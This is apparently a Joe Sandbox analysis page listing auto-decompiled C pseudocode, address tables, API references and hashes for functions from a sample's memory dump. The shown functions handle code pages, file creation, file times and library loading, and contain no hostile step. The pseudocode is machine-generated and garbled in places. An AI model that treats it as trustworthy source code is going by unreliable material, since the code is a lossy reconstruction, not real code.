												__eflags = _v22;
												_t72 =  &_v22;
												if(_v22 != 0) {
													while(1) {
														_t88 = _t72[1];
														__eflags = _t88;
														if(_t88 == 0) {
															goto L16;
														}
														_t91 = _t88 & 0x000000ff;
														_t89 =  *_t72 & 0x000000ff;
														while(1) {
															__eflags = _t89 - _t91;
															if(_t89 > _t91) {
																break;
															}
															 *(_t98 + _t89 + 0x19) =  *(_t98 + _t89 + 0x19) | 0x00000004;
															_t89 = _t89 + 1;
															__eflags = _t89;
														}
														_t72 =  &(_t72[2]);
														__eflags =  *_t72;
														if( *_t72 != 0) {
															continue;
														}
														goto L16;
													}
												}
												L16:
												_t73 = _t98 + 0x1a;
												_t87 = 0xfe;
												do {
													 *_t73 =  *_t73 | 0x00000008;
													_t73 =  &(_t73[1]);
													_t87 = _t87 - 1;
													__eflags = _t87;
												} while (_t87 != 0);
												 *(_t98 + 0x21c) = E013C819E( *(_t98 + 4));
												 *(_t98 + 8) = _t78;
											}
											_t95 = _t98 + 0xc;
											asm("stosd");
											asm("stosd");
											asm("stosd");
											L36:
											E013C82B4(_t78, _t91, _t95, _t98, _t98); // executed
											L37:
											__eflags = 0;
										}
									}
								}
							}
						}
						goto L39;
					}
					E013BDE40(_t94, _t98 + 0x18, _t94, 0x101);
					_t54 = _v32 * 0x30;
					__eflags = _t54;
					_v36 = _t54;
					_t55 = _t54 + 0x13da398;
					_v32 = _t55;
					do {
						__eflags =  *_t55;
						_t82 = _t55;
						if( *_t55 != 0) {
							while(1) {
								_t62 = _t82[1];
								__eflags = _t62;
								if(_t62 == 0) {
									break;
								}
								_t92 =  *_t82 & 0x000000ff;
								_t63 = _t62 & 0x000000ff;
								while(1) {
									__eflags = _t92 - _t63;
									if(_t92 > _t63) {
										break;
									}
									__eflags = _t92 - 0x100;
									if(_t92 < 0x100) {
										_t31 = _t94 + 0x13da380; // 0x8040201
										 *(_t98 + _t92 + 0x19) =  *(_t98 + _t92 + 0x19) |  *_t31;
										_t92 = _t92 + 1;
										__eflags = _t92;
										_t63 = _t82[1] & 0x000000ff;
										continue;
									}
									break;
								}
								_t82 =  &(_t82[2]);
								__eflags =  *_t82;
								if( *_t82 != 0) {
									continue;
								}
								break;
							}
							_t55 = _v32;
						}
						_t94 = _t94 + 1;
						_t55 = _t55 + 8;
						_v32 = _t55;
						__eflags = _t94 - 4;
					} while (_t94 < 4);
					 *(_t98 + 4) = _t78;
					 *(_t98 + 8) = 1;
					 *(_t98 + 0x21c) = E013C819E(_t78);
					_t83 = _t98 + 0xc;
					_t91 = _v36 + 0x13da38c;
					_t95 = 6;
					do {
						_t58 =  *_t91;
						_t91 = _t91 + 2;
						 *_t83 = _t58;
						_t83 = _t83 + 2;
						_t95 = _t95 - 1;
						__eflags = _t95;
					} while (_t95 != 0);
					goto L36;
				} else {
					E013C824F(_t98);
				}
				L39:
				return E013BD763(_v8 ^ _t99);
			}

0x013c8611
0x013c8618
0x013c8620
0x013c8628
0x013c862d
0x013c863e
0x013c863e
0x013c8640
0x013c8642
0x013c8644
0x013c8647
0x013c8647
0x013c864d
0x00000000
0x00000000
0x013c8653
0x013c8654
0x013c8657
0x013c865a
0x013c865f
0x00000000
0x013c8661
0x013c8661
0x013c8667
0x013c8735
0x013c866d
0x013c866d
0x013c8673
0x00000000
0x013c8679
0x013c867d
0x013c8683
0x013c8685
0x00000000
0x013c868b
0x013c8690
0x013c8696
0x013c8698
0x013c8722
0x013c8728
0x00000000
0x013c872a
0x013c872b
0x00000000
0x013c872b
0x013c869e
0x013c86a8
0x013c86ad
0x013c86b5
0x013c86bb
0x013c86bc
0x013c86bf
0x013c8712
0x013c86c1
0x013c86c1
0x013c86c5
0x013c86c8
0x013c86ca
0x013c86ca
0x013c86cd
0x013c86cf
0x00000000
0x00000000
0x013c86d1
0x013c86d4
0x013c86df
0x013c86df
0x013c86e1
0x00000000
0x00000000
0x013c86d9
0x013c86de
0x013c86de
0x013c86de
0x013c86e3
0x013c86e6
0x013c86e9
0x00000000
0x00000000
0x00000000
0x013c86e9
0x013c86ca
0x013c86eb
0x013c86eb
0x013c86ee
0x013c86f3
0x013c86f3
0x013c86f6
0x013c86f7
0x013c86f7
0x013c86f7
0x013c8707
0x013c870d
0x013c870d
0x013c8717
0x013c871a
0x013c871b
0x013c871c
0x013c87e0
0x013c87e1
0x013c87e6
0x013c87e7
0x013c87e7
0x013c8698
0x013c8685
0x013c8673
0x013c8667
0x00000000
0x013c87e9
0x013c8747
0x013c874f
0x013c874f
0x013c8753
0x013c8756
0x013c875c
0x013c875f
0x013c875f
0x013c8762
0x013c8764
0x013c8766
0x013c8766
0x013c8769
0x013c876b
0x00000000
0x00000000
0x013c876d
0x013c8770
0x013c878c
0x013c878c
0x013c878e
0x00000000
0x00000000
0x013c8775
0x013c877b
0x013c877d
0x013c8783
0x013c8787
0x013c8787
0x013c8788
0x00000000
0x013c8788
0x00000000
0x013c877b
0x013c8790
0x013c8793
0x013c8796
0x00000000
0x00000000
0x00000000
0x013c8796
0x013c8798
0x013c8798
0x013c879b
0x013c879c
0x013c879f
0x013c87a2
0x013c87a2
0x013c87a8
0x013c87ab
0x013c87ba
0x013c87c3
0x013c87c8
0x013c87ce
0x013c87cf
0x013c87cf
0x013c87d2
0x013c87d5
0x013c87d8
0x013c87db
0x013c87db
0x013c87db
0x00000000
0x013c862f
0x013c8630
0x013c8636
0x013c87ea
0x013c87f9

APIs

Part of subcall function 013C81DC: GetOEMCP.KERNEL32(00000000,?,?,013C8465,?), ref: 013C8207

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,013C84AA,?,00000000), ref: 013C867D
GetCPInfo.KERNEL32(00000000,013C84AA,?,?,?,013C84AA,?,00000000), ref: 013C8690

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 0ec49940714625b82358279ddcd6a0ef386528d8993e5e7cd8bbac21f7cf415e
Instruction ID: 3751ec462f158f47d65d5d3106d95d166da14fb4c4d7bb088f995abb84c1b1b4
Opcode Fuzzy Hash: 0ec49940714625b82358279ddcd6a0ef386528d8993e5e7cd8bbac21f7cf415e
Instruction Fuzzy Hash: D55159709002059FEB25CF79C4846BBBBE9EF41B18F0440AED1868B591F7759F56CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013A13B4 Relevance: 3.1, APIs: 2, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E013A13B4(intOrPtr* __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t56;
				signed int _t62;
				signed int _t63;
				char _t64;
				intOrPtr _t74;
				intOrPtr* _t78;
				void* _t86;
				void* _t87;
				intOrPtr* _t89;
				void* _t91;
				void* _t96;

				_t96 = __eflags;
				_t87 = __edi;
				_t86 = __edx;
				_t78 = __ecx;
				E013BCDF0(_t56, _t91);
				_push(_t78);
				_t89 = _t78;
				 *((intOrPtr*)(_t91 - 0x10)) = _t89;
				E013A9451(_t78);
				 *_t89 = 0x13d02e8;
				 *((intOrPtr*)(_t91 - 4)) = 0;
				E013A5F9E(_t89 + 0x1024, _t86, _t96);
				 *((char*)(_t91 - 4)) = 1;
				E013AC463(_t89 + 0x20e8, _t86, _t96);
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				E013A154D();
				_t62 = E013A154D();
				 *((char*)(_t91 - 4)) = 4;
				_t63 = _t62 & 0xffffff00 |  *((intOrPtr*)(_t91 + 8)) == 0x00000000;
				 *((intOrPtr*)(_t89 + 0x21bc)) = 0;
				 *(_t89 + 0x21b8) = _t63;
				_t98 = _t63;
				if(_t63 == 0) {
					_t64 =  *((intOrPtr*)(_t91 + 8));
				} else {
					_t74 = E013BCDAC(_t86, _t89, _t98, 0x82e0); // executed
					 *((intOrPtr*)(_t91 + 8)) = _t74;
					 *((char*)(_t91 - 4)) = 5;
					if(_t74 == 0) {
						_t64 = 0;
					} else {
						_t64 = E013AACB6(_t74); // executed
					}
				}
				 *((intOrPtr*)(_t89 + 0x21bc)) = _t64;
				 *(_t89 + 0x21c0) =  *(_t89 + 0x21c0) | 0xffffffff;
				 *(_t89 + 0x21c4) =  *(_t89 + 0x21c4) | 0xffffffff;
				 *(_t89 + 0x21c8) =  *(_t89 + 0x21c8) | 0xffffffff;
				 *((char*)(_t89 + 0x1c)) =  *((intOrPtr*)(_t64 + 0x6199));
				 *((intOrPtr*)(_t89 + 0x6cb0)) = 2;
				 *((intOrPtr*)(_t89 + 0x6cb4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cb8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cc0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				 *((char*)(_t89 + 0x6cbc)) = 0;
				 *((short*)(_t89 + 0x6cc4)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cac)) = 0;
				E013BDE40(_t87, _t89 + 0x2208, 0, 0x40);
				E013BDE40(_t87, _t89 + 0x2248, 0, 0x34);
				E013BDE40(_t87, _t89 + 0x4590, 0, 0x20);
				 *((intOrPtr*)(_t89 + 0x6cd8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cec)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf4)) = 0;
				 *((short*)(_t89 + 0x6cfa)) = 0;
				 *((char*)(_t89 + 0x6cd6)) = 0;
				 *((char*)(_t89 + 0x6cf8)) = 0;
				 *((char*)(_t89 + 0x21e0)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t89;
			}

0x013a13b4
0x013a13b4
0x013a13b4
0x013a13b4
0x013a13b4
0x013a13b9
0x013a13bc
0x013a13be
0x013a13c1
0x013a13c8
0x013a13d4
0x013a13d7
0x013a13e2
0x013a13e6
0x013a13f1
0x013a13f7
0x013a13fd
0x013a1408
0x013a1410
0x013a1414
0x013a1417
0x013a141d
0x013a1423
0x013a1425
0x013a144a
0x013a1427
0x013a142c
0x013a1432
0x013a1435
0x013a143b
0x013a1446
0x013a143d
0x013a143f
0x013a143f
0x013a143b
0x013a144d
0x013a1459
0x013a1460
0x013a1467
0x013a1470
0x013a147b
0x013a1485
0x013a148b
0x013a1491
0x013a1497
0x013a149d
0x013a14a3
0x013a14a9
0x013a14b0
0x013a14b6
0x013a14bc
0x013a14c2
0x013a14c8
0x013a14ce
0x013a14dd
0x013a14ec
0x013a14f7
0x013a14ff
0x013a1505
0x013a150b
0x013a1511
0x013a1517
0x013a151d
0x013a1523
0x013a152c
0x013a1532
0x013a1538
0x013a1540
0x013a154a

APIs

__EH_prolog.LIBCMT ref: 013A13B4

Part of subcall function 013A5F9E: __EH_prolog.LIBCMT ref: 013A5FA3

Part of subcall function 013AC463: __EH_prolog.LIBCMT ref: 013AC468
Part of subcall function 013AC463: new.LIBCMT ref: 013AC4AB
Part of subcall function 013AC463: new.LIBCMT ref: 013AC4CF

new.LIBCMT ref: 013A142C

Part of subcall function 013AACB6: __EH_prolog.LIBCMT ref: 013AACBB

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7217d32ca564882921559f24b3390d706d55460ee1e61d7a0ffd7fbde82f32ef
Instruction ID: 96ef73b3bb894a11ff9f79821ae3eef756f745e5da55175de2fc6a093a9e9bc1
Opcode Fuzzy Hash: 7217d32ca564882921559f24b3390d706d55460ee1e61d7a0ffd7fbde82f32ef
Instruction Fuzzy Hash: 234124B0805B41DEE724CF7D8484AE6FBE5FF28208F80492ED6EE83281DB326554CB11

Uniqueness

Uniqueness Score: -1.00%

Function 013A13AF Relevance: 3.1, APIs: 2, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E013A13AF(intOrPtr* __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				signed int _t62;
				signed int _t63;
				char _t64;
				intOrPtr _t74;
				intOrPtr* _t78;
				void* _t86;
				void* _t87;
				intOrPtr* _t89;
				void* _t91;
				void* _t96;

				_t96 = __eflags;
				_t87 = __edi;
				_t86 = __edx;
				_t78 = __ecx;
				E013BCDF0(E013CF3D7, _t91);
				_push(_t78);
				_t89 = _t78;
				 *((intOrPtr*)(_t91 - 0x10)) = _t89;
				E013A9451(_t78);
				 *_t89 = 0x13d02e8;
				 *((intOrPtr*)(_t91 - 4)) = 0;
				E013A5F9E(_t89 + 0x1024, _t86, _t96);
				 *((char*)(_t91 - 4)) = 1;
				E013AC463(_t89 + 0x20e8, _t86, _t96);
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				E013A154D();
				_t62 = E013A154D();
				 *((char*)(_t91 - 4)) = 4;
				_t63 = _t62 & 0xffffff00 |  *((intOrPtr*)(_t91 + 8)) == 0x00000000;
				 *((intOrPtr*)(_t89 + 0x21bc)) = 0;
				 *(_t89 + 0x21b8) = _t63;
				_t98 = _t63;
				if(_t63 == 0) {
					_t64 =  *((intOrPtr*)(_t91 + 8));
				} else {
					_t74 = E013BCDAC(_t86, _t89, _t98, 0x82e0); // executed
					 *((intOrPtr*)(_t91 + 8)) = _t74;
					 *((char*)(_t91 - 4)) = 5;
					if(_t74 == 0) {
						_t64 = 0;
					} else {
						_t64 = E013AACB6(_t74); // executed
					}
				}
				 *((intOrPtr*)(_t89 + 0x21bc)) = _t64;
				 *(_t89 + 0x21c0) =  *(_t89 + 0x21c0) | 0xffffffff;
				 *(_t89 + 0x21c4) =  *(_t89 + 0x21c4) | 0xffffffff;
				 *(_t89 + 0x21c8) =  *(_t89 + 0x21c8) | 0xffffffff;
				 *((char*)(_t89 + 0x1c)) =  *((intOrPtr*)(_t64 + 0x6199));
				 *((intOrPtr*)(_t89 + 0x6cb0)) = 2;
				 *((intOrPtr*)(_t89 + 0x6cb4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cb8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cc0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d0)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d4)) = 0;
				 *((char*)(_t89 + 0x6cbc)) = 0;
				 *((short*)(_t89 + 0x6cc4)) = 0;
				 *((intOrPtr*)(_t89 + 0x21d8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ca8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cac)) = 0;
				E013BDE40(_t87, _t89 + 0x2208, 0, 0x40);
				E013BDE40(_t87, _t89 + 0x2248, 0, 0x34);
				E013BDE40(_t87, _t89 + 0x4590, 0, 0x20);
				 *((intOrPtr*)(_t89 + 0x6cd8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce4)) = 0;
				 *((intOrPtr*)(_t89 + 0x6ce8)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cec)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf0)) = 0;
				 *((intOrPtr*)(_t89 + 0x6cf4)) = 0;
				 *((short*)(_t89 + 0x6cfa)) = 0;
				 *((char*)(_t89 + 0x6cd6)) = 0;
				 *((char*)(_t89 + 0x6cf8)) = 0;
				 *((char*)(_t89 + 0x21e0)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t89;
			}

0x013a13af
0x013a13af
0x013a13af
0x013a13af
0x013a13b4
0x013a13b9
0x013a13bc
0x013a13be
0x013a13c1
0x013a13c8
0x013a13d4
0x013a13d7
0x013a13e2
0x013a13e6
0x013a13f1
0x013a13f7
0x013a13fd
0x013a1408
0x013a1410
0x013a1414
0x013a1417
0x013a141d
0x013a1423
0x013a1425
0x013a144a
0x013a1427
0x013a142c
0x013a1432
0x013a1435
0x013a143b
0x013a1446
0x013a143d
0x013a143f
0x013a143f
0x013a143b
0x013a144d
0x013a1459
0x013a1460
0x013a1467
0x013a1470
0x013a147b
0x013a1485
0x013a148b
0x013a1491
0x013a1497
0x013a149d
0x013a14a3
0x013a14a9
0x013a14b0
0x013a14b6
0x013a14bc
0x013a14c2
0x013a14c8
0x013a14ce
0x013a14dd
0x013a14ec
0x013a14f7
0x013a14ff
0x013a1505
0x013a150b
0x013a1511
0x013a1517
0x013a151d
0x013a1523
0x013a152c
0x013a1532
0x013a1538
0x013a1540
0x013a154a

APIs

__EH_prolog.LIBCMT ref: 013A13B4

Part of subcall function 013A5F9E: __EH_prolog.LIBCMT ref: 013A5FA3

Part of subcall function 013AC463: __EH_prolog.LIBCMT ref: 013AC468
Part of subcall function 013AC463: new.LIBCMT ref: 013AC4AB
Part of subcall function 013AC463: new.LIBCMT ref: 013AC4CF

new.LIBCMT ref: 013A142C

Part of subcall function 013AACB6: __EH_prolog.LIBCMT ref: 013AACBB

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 797131976edb0ac333b21a5e547cc8f764f2ac620db1e0c23beface0d96b327f
Instruction ID: 5a913ae02cbf14825a9f84b4d38fe9a9d854a1cdd6f4f987731099309088ea9b
Opcode Fuzzy Hash: 797131976edb0ac333b21a5e547cc8f764f2ac620db1e0c23beface0d96b327f
Instruction Fuzzy Hash: B04125B0805B41DEE724DFB98484AE6FBE5FF28204F80492ED6EE83281DB326554CB11

Uniqueness

Uniqueness Score: -1.00%

Function 013A9541 Relevance: 3.1, APIs: 2, Instructions: 86
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E013A9541(void* __ecx, short _a4, WCHAR* _a4104, signed char _a4108) {
				long _v0;
				signed char _t34;
				signed int _t36;
				void* _t37;
				signed char _t46;
				struct _SECURITY_ATTRIBUTES* _t47;
				long _t56;
				void* _t59;
				long _t63;

				E013BCEC0();
				_t46 = _a4108;
				_t34 = _t46 >> 0x00000001 & 0x00000001;
				_t59 = __ecx;
				if((_t46 & 0x00000010) != 0 ||  *((char*)(__ecx + 0x1c)) != 0) {
					_t63 = 1;
					__eflags = 1;
				} else {
					_t63 = 0;
				}
				 *(_t59 + 0x18) = _t46;
				_v0 = ((0 | _t34 == 0x00000000) - 0x00000001 & 0x80000000) + 0xc0000000;
				_t36 =  *(E013AB8C0(_t34, _a4104)) & 0x0000ffff;
				if(_t36 == 0x2e || _t36 == 0x20) {
					if((_t46 & 0x00000020) != 0) {
						goto L8;
					} else {
						 *(_t59 + 4) =  *(_t59 + 4) | 0xffffffff;
						_t47 = 0;
						_t56 = _v0;
					}
				} else {
					L8:
					_t56 = _v0;
					_t47 = 0;
					__eflags = 0;
					_t37 = CreateFileW(_a4104, _t56, _t63, 0, 2, 0, 0); // executed
					 *(_t59 + 4) = _t37;
				}
				if( *(_t59 + 4) == 0xffffffff && E013AB2C5(_a4104,  &_a4, 0x800) != 0) {
					 *(_t59 + 4) = CreateFileW( &_a4, _t56, _t63, _t47, 2, _t47, _t47);
				}
				 *((char*)(_t59 + 0x12)) = 1;
				 *(_t59 + 0xc) = _t47;
				 *(_t59 + 0x10) = _t47;
				return E013AF160(_t59 + 0x1e, _a4104, 0x800) & 0xffffff00 |  *(_t59 + 4) != 0xffffffff;
			}

0x013a9546
0x013a954c
0x013a9559
0x013a955b
0x013a9561
0x013a956f
0x013a956f
0x013a9569
0x013a9569
0x013a9569
0x013a9579
0x013a958e
0x013a9597
0x013a959d
0x013a95a7
0x00000000
0x013a95a9
0x013a95a9
0x013a95ad
0x013a95af
0x013a95af
0x013a95b5
0x013a95b5
0x013a95b5
0x013a95b9
0x013a95b9
0x013a95c9
0x013a95cf
0x013a95cf
0x013a95d6
0x013a9604
0x013a9604
0x013a9616
0x013a961b
0x013a961e
0x013a9637

APIs

CreateFileW.KERNELBASE(?,00000000,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,013A9BD7,?,?,013A7735), ref: 013A95C9
CreateFileW.KERNEL32(?,00000000,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,013A9BD7,?,?,013A7735), ref: 013A95FE

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9674c2f46344222bdbe08a5632ac39ab405c226b8b904f46a725f42d2fc07f7b
Instruction ID: 10e37fc0bc03cba98739fc81bfdfbd04cf977e3ab447764af90b0a7e52ea8406
Opcode Fuzzy Hash: 9674c2f46344222bdbe08a5632ac39ab405c226b8b904f46a725f42d2fc07f7b
Instruction Fuzzy Hash: C121E4B1404748AEE7308F28CC85BA7BBECEF0576CF40491DF5E592191C275A9498B61

Uniqueness

Uniqueness Score: -1.00%

Function 013A9A62 Relevance: 3.1, APIs: 2, Instructions: 82
timeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E013A9A62(void* __ecx, void* __esi, signed char _a4, signed int* _a8, signed int* _a12) {
				void* _v8;
				void* _v16;
				void* _v24;
				signed char _v25;
				int _t34;
				signed char _t49;
				signed int* _t51;
				signed char _t57;
				void* _t58;
				void* _t59;
				signed int* _t60;
				signed int* _t62;

				_t59 = __esi;
				_t58 = __ecx;
				if( *(__ecx + 0x18) != 0x100 && ( *(__ecx + 0x18) & 0x00000002) == 0) {
					FlushFileBuffers( *(__ecx + 4));
				}
				_t51 = _a4;
				_t49 = 1;
				if(_t51 == 0 || ( *_t51 | _t51[1]) == 0) {
					_t57 = 0;
				} else {
					_t57 = 1;
				}
				_push(_t59);
				_t60 = _a8;
				_v25 = _t57;
				if(_t60 == 0) {
					L9:
					_a4 = 0;
				} else {
					_a4 = _t49;
					if(( *_t60 | _t60[1]) == 0) {
						goto L9;
					}
				}
				_t62 = _a12;
				if(_t62 == 0 || ( *_t62 | _a4) == 0) {
					_t49 = 0;
				}
				if(_t57 != 0) {
					E013AFF5D(_t51, _t57,  &_v24);
				}
				if(_a4 != 0) {
					E013AFF5D(_t60, _t57,  &_v8);
				}
				if(_t49 != 0) {
					E013AFF5D(_t62, _t57,  &_v16);
				}
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				asm("sbb eax, eax");
				_t34 = SetFileTime( *(_t58 + 4),  ~(_a4 & 0x000000ff) &  &_v8,  ~(_t49 & 0x000000ff) &  &_v16,  ~(_v25 & 0x000000ff) &  &_v24); // executed
				return _t34;
			}

0x013a9a62
0x013a9a68
0x013a9a71
0x013a9a7c
0x013a9a7c
0x013a9a82
0x013a9a88
0x013a9a8b
0x013a9a98
0x013a9a94
0x013a9a94
0x013a9a94
0x013a9a9a
0x013a9a9b
0x013a9a9f
0x013a9aa5
0x013a9ab2
0x013a9ab2
0x013a9aa7
0x013a9aac
0x013a9ab0
0x00000000
0x00000000
0x013a9ab0
0x013a9ab7
0x013a9abd
0x013a9ac7
0x013a9ac7
0x013a9acb
0x013a9ad2
0x013a9ad2
0x013a9adc
0x013a9ae5
0x013a9ae5
0x013a9aed
0x013a9af6
0x013a9af6
0x013a9b06
0x013a9b14
0x013a9b24
0x013a9b2c
0x013a9b38

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,?,013A7436,?,?,?), ref: 013A9A7C
SetFileTime.KERNELBASE(?,?,?,?), ref: 013A9B2C

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 3b287208133d62c0d0b24a44226f974587f818c2a263e5b64e63b2ae49d49517
Instruction ID: 49e2ba618db4a254594bd2a916a2a383e4a0fc1ee7cd5bd7de3693112ecb64d7
Opcode Fuzzy Hash: 3b287208133d62c0d0b24a44226f974587f818c2a263e5b64e63b2ae49d49517
Instruction Fuzzy Hash: 8221E431159246AFEB15CA28C4A0BBABFE8EF9260CF88491EF8C597141D329D90CC791

Uniqueness

Uniqueness Score: -1.00%

Function 013C7726 Relevance: 3.1, APIs: 2, Instructions: 65
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E013C7726(signed int _a4, CHAR* _a8, intOrPtr* _a12, intOrPtr _a16) {
				struct HINSTANCE__* _t13;
				signed int* _t20;
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t33;
				intOrPtr* _t34;

				_t20 = 0x13fb2d8 + _a4 * 4;
				_t27 =  *0x13da1c8; // 0x21a16d55
				_t29 = _t28 | 0xffffffff;
				_t33 = _t27 ^  *_t20;
				asm("ror esi, cl");
				if(_t33 == _t29) {
					L14:
					return 0;
				}
				if(_t33 == 0) {
					_t34 = _a12;
					if(_t34 == _a16) {
						L7:
						_t13 = 0;
						L8:
						if(_t13 == 0) {
							L13:
							_push(0x20);
							asm("ror edi, cl");
							 *_t20 = _t29 ^ _t27;
							goto L14;
						}
						_t33 = GetProcAddress(_t13, _a8);
						if(_t33 == 0) {
							_t27 =  *0x13da1c8; // 0x21a16d55
							goto L13;
						}
						 *_t20 = E013C1C49(_t33);
						goto L2;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						_t13 = E013C77C2( *_t34); // executed
						if(_t13 != 0) {
							break;
						}
						_t34 = _t34 + 4;
						if(_t34 != _a16) {
							continue;
						}
						_t27 =  *0x13da1c8; // 0x21a16d55
						goto L7;
					}
					_t27 =  *0x13da1c8; // 0x21a16d55
					goto L8;
				}
				L2:
				return _t33;
			}

0x013c7731
0x013c773a
0x013c7740
0x013c774a
0x013c774c
0x013c7750
0x013c77bb
0x00000000
0x013c77bb
0x013c7754
0x013c775a
0x013c7760
0x013c777c
0x013c777c
0x013c777e
0x013c7780
0x013c77ab
0x013c77ad
0x013c77b5
0x013c77b9
0x00000000
0x013c77b9
0x013c778c
0x013c7790
0x013c77a5
0x00000000
0x013c77a5
